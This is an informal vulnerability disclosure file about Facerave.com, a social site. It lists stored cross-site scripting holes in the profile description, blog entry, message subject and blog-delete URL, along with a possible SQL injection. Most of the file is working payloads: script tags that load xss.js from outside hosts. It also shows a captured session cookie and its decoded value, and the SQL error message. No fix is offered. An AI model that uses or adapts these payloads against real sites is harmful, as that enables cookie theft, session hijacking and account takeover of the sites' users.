facerave.txt

`Facerave.com  
  
Homepage:  
http://www.facerave.com  
  
Effected files:  
  
* Profile input boxes  
  
- Self Description box  
  
* Posting a blog entry  
  
* Sending a message  
  
index.php  
------------------------------------------------------  
  
XSS vuln with cookie disclosure via posting a comment:  
  
No filter evasion needed. for PoC in yourself description box put:  
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
  
Screenshots:  
http://www.youfucktard.com/xsp/facerave1.jpg  
http://www.youfucktard.com/xsp/facerave2.jpg  
  
-----------------------------------------------------  
  
XSS vuln with cookie disclosure when posting a blog entry:  
  
Same as above:  
<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>  
  
Screenshots:  
http://www.youfucktard.com/xsp/facerave3.jpg  
http://www.youfucktard.com/xsp/facerave4.jpg  
  
Our cookie:  
  
This is remote text via xss.js located at youfucktard.com lang=en; PHPSESSID=dfb7edf9c3d2350d04cd5ed60585b2f1;voted=YToxMTp7aTowO047aToxO3M6NDoiMzkzNiI7aToyO3M6NDoiNzQ1NCI7aTozO3M6NjoiMTE4OTY1IjtpOjQ7czo2OiIxMTg5NjYiO2k6NTtzOjY6IjExODk2NyI7aTo2O3M6NjoiMTE4OTY4IjtpOjc7czo2OiIxMTg5NjkiO2k6ODtzOjY6IjExODk3MCI7aTo5O3M6NjoiMTE4OTcxIjtpOjEwO3M6NjoiMTE4OTcyIjt9; last_pr=7454  
  
  
Breaking down the cookie:  
  
PHPSESSID= (Our php session Id on the site)  
  
voted= Base64 encoded. When we decode it we get:  
  
a:11:{i:0;N;i:1;s:4:"3936";i:2;s:4:"7454";i:3;s:6:"118965";i:4;s:6  
  
  
----------------------------------------------------  
  
XSS Vuln and possible SQL injection on deleting blog id:  
  
http://www.facerave.com/index.php?req=blog&act=del&id=1087">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>  
  
Query error msg:  
You have an error in your SQL syntax near '\' AND b_user=7454' at line 1  
Failed query: DELETE FROM rate_blogs WHERE b_id=1087\' AND b_user=7454  
  
Screenshot:  
http://www.youfucktard.com/xsp/facerave5.jpg  
  
-----------------------------------------------------  
  
Sending a message xss vuln:  
  
Same as above, no filter evasion. in your msg title or subject put:  
<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>  
  
Screenshot:  
http://www.youfucktard.com/xsp/facerave6.jpg  
------------------------------------------------------  
`